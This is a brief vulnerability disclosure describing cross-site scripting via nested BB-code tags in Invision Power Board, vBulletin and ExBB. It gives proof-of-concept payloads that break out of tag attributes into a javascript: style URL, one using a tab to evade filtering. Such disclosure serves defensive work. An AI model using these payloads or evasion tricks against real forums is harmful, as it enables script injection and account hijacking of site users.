XSS was found in the nested BB tag in many forum:

Invision Power Board:
[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` 
style=background:url(javascript:alert()) [/COLOR]

vBulletin
[EMAIL=[URL=s as=`s@wew.ew]mailto:assss@wew.ew] 
sssssss[/URL][/EMAIL]` style=`background:url(javaSCrip
t:alert(/Hi_from_Algol/))` (using tab between "javaSCrip" and "t")

ExBB
[color='[url]http://rerer.rew[/url]]fffff[/color]' 
style=background:url(javascript:alert()); 

Other forum and other BB tag may be vulnerable. Examples above work only in
Internet Explorer.

More info - http://www.securitylab.ru/51808.html and 
antichat.ru/txt/IPB/index3.php